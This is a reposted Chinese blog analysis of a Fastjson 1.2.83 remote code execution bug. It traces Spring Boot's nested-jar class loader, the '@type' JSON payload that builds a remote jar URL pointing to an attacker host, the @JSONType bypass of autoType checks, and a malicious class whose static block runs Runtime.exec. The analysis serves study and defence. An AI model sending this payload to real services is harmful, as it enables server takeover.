Fastjson 1.2.83 漏洞深度分析:autoType 关了也挡不住的 RCE 吗

作者:W啥都学 发布:2026-07-21 16:31 收录:2026-09-07 08:27 2 次阅读 约 1564 字
摘要:本文基于已公开的 POC进行测试分析,从 Spring Boot 的 FatJar 加载机制讲起,逐步拆解 replace('.','/') 的 URL 构造技巧、LaunchedURLClassLoader 为何成为漏洞通道、SSRF 如何升级为 RCE,并给出完整的调试复现过程
推荐理由:本文涵盖「Fastjson」、「1.2.83」、「RCE」等多个主题,重点关注 Fastjson。

作者漏洞原文:

2026 年 7 月 19 日  KirillFirsov(@k_firsov) 公开了一个影响 Fastjson 1.2.68 至 1.2.83 的远程代码执行漏洞

简介

分析了大概一上午吧整体比较简单

本文基于已公开的 POC进行测试分析,从 Spring Boot 的 FatJar 加载机制讲起,逐步拆解 replace('.','/') 的 URL 构造技巧、LaunchedURLClassLoader 为何成为漏洞通道、SSRF 如何升级为 RCE,并给出完整的调试复现过程

复现环境

  • • JDK 8 + Spring Boot 2.7.18
  • • Fastjson 1.2.83分析了大概一上午,整体比较简单。

Spring Boot的jar加载机制

Spring Boot我们在打包成jar的时候运行这个jar命令是 java -jar xxx.jar 这个是运行命令

Spring Boot 打包出来的 Jar 与普通 Java Jar 并不相同

查看打包后的 Jar 可以发现,其内部结构如下:

META-INF/
BOOT-INF/
 ├── classes/
 └── lib/

其中:

  • • BOOT-INF/classes:项目编译后的 Class
  • • BOOT-INF/lib:所有第三方依赖 Jar
  • • META-INF/MANIFEST.MF:Jar 清单文件

MANIFEST.MF文件内容介绍

打开 MANIFEST.MF 可以看到:

Main-Class: org.springframework.boot.loader.JarLauncher
Start-Class: com.xxx.Application

看一下文件内容,他指向了org.springframework.boot.loader.JarLauncher

这里说明:

执行

java -jar xxxx.jar

真正启动的并不是我们自己的

Application.main()

而是:

org.springframework.boot.loader.JarLauncher

JarLauncher 做了什么?

进入 JarLauncher.main()

随后继续跟踪 launch() 方法

可以看见创建 ClassLoader类型是把 BOOT-INF/classes 和 BOOT-INF/lib 下的所有 Jar 打包成一个自定义类加载器LaunchedURLClassLoader

从MANIFEST.MF中读出Start-Class,找到您写的应用主类

把这个类加载器设为当前线程的类加载器,然后用它去加载并执行应用主类的 main() 方法,正式启动 Spring Boot

大题就是:最关键的一步:

LaunchedURLClassLoader

Spring Boot 会创建一个 自定义类加载器

LaunchedURLClassLoader

它会:

  • • 加载 BOOT-INF/classes
  • • 加载 BOOT-INF/lib
  • • 将它们组合成一个统一的 ClassLoader
  • • 设置为当前线程的 ContextClassLoader
  • • 最后再执行:
Application.main()

为什么这会影响漏洞利用?

普通 Java 程序通常直接运行:

java Main

使用的是 JVM 默认的 AppClassLoader

它只能加载本地 Class,例如:

D:\test\A.class

或者:

file:///...

而Spring Boot不一样

由于所有依赖都位于:

BOOT-INF/lib

里面还有Jar套Jar的结构,因此普通 ClassLoader 无法完成加载。

Spring Boot 必须使用能够解析嵌套 Jar 的:

LaunchedURLClassLoader

例如它可以正常解析:

jar:file:///app/app.jar!/BOOT-INF/lib/fastjson.jar!/XXX.class

这属于 Spring Boot 的正常设计

为什么会产生 SSRF?

既然 LaunchedURLClassLoader 能够解析 jar: 协议,那么理论上它也可以处理:

jar:http://attacker.com/probe!/POC.class

Fastjson 在解析 @type 时,会先将类名转换成资源路径:

String resource = typeName.replace('.', '/') + ".class";

因此攻击者可以构造:

jar:http:..2886795266:8000.probe!.POC

经过替换以后:

jar:http://2886795266:8000/probe!/POC.class

最终形成一个合法的 jar: URL

Fastjson 如何触发的 SSRF?

调试到打断电到JSON.parseObject(body, Map.class)

当程序执行:

JSON.parseObject(body, Map.class);

攻击者发送:

{
"@type":"jar:http:..2886795266:8000.probe!.POC",
"x":1
}

Fastjson 发现存在 @type 字段后,会进入:

ParserConfig.checkAutoType()

经过了String resource = typeName.replace(‘.’, ‘/’) + “.class”;变成了

jar:http://2886795266:8000/probe!/POC.class

看一下

随后执行:

is = ParserConfig.class
        .getClassLoader()
        .getResourceAsStream(resource);


这里的重点在于:


ParserConfig.class.getClassLoader() 获取到的正是前面提到的 LaunchedURLClassLoader

因此:

getResourceAsStream(
    "jar:http://xxxx.com/probe!/POC.class"
)

会真正发起 HTTP 请求,下载远程资源

SSRF 变 RCE?

下载回来的并不是普通文件,而是一个 Java 字节码:

Fastjson 并不会立即加载这个类,而是先使用 ASM 对字节码进行分析

if (is != null) {
ClassReaderclassReader=newClassReader(is, true);
TypeCollectorvisitor=newTypeCollector("<clinit>"newClass[0]);
    classReader.accept(visitor);
    jsonType = visitor.hasJsonType();   // → true!
}

攻击者提前在 POC.class 上打了一个 @JSONType 注解标签。ASM 扫描到这个标签后,fastjson 判定这是自己人,jsonType 被设为 true

jsonType=true 绕过安全检查

autoType 关了没用,jsonType 是 true 就直接走 loadClass 了。加载完直接返回,后面黑名单、isAssignableFrom 等检查全部跳过

用指定的ClassLoader把这个类加载到JVM里

当 Fastjson 调用 loadClass() 后,JVM 会完成类的加载,并在类首次主动使用时执行类初始化(<clinit>),其中包含静态初始化代码块 static {}

// 攻击者用 ASM 生成的恶意类(等价的 Java 代码)
@JSONType
publicclassPOC {
static {
        Runtime.getRuntime().exec("恶意命令");   // 类加载时自动执行!
    }
}

免责声明(Disclaimer)

本项目仅供网络安全研究、漏洞分析、安全测试、学习交流及防御技术验证使用,旨在帮助安全研究人员、开发者和运维人员理解相关技术原理,提高系统安全防护能力。

使用者在使用本项目时,应严格遵守所在国家或地区的法律法规,并确保仅在获得明确授权的目标系统、网络或设备上进行安全测试。未经授权,对任何第三方系统实施扫描、测试、攻击或其他可能影响系统安全的行为均可能违反相关法律法规,其产生的一切法律责任和后果均由使用者自行承担。

项目中涉及的漏洞分析、利用原理、示例代码及相关技术,仅用于说明漏洞形成原因、利用链分析以及安全防护措施,不应被用于任何非法用途。作者不鼓励、不支持任何形式的非法攻击、未授权渗透测试或其他危害网络安全的行为。

本项目按"现状(AS IS)"提供,不提供任何形式的明示或默示担保,包括但不限于适销性、特定用途适用性及非侵权保证。对于因使用、误用或无法使用本项目所造成的任何直接、间接、附带、特殊或衍生性损失,项目作者及贡献者均不承担任何责任。

使用本项目即表示您已阅读、理解并同意本免责声明的全部内容。如不同意本声明,请立即停止使用本项目。


转载声明:本文转载自原发布平台 (作者:W啥都学), 原文标题《Fastjson 1.2.83 漏洞深度分析:autoType 关了也挡不住的 RCE 吗》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。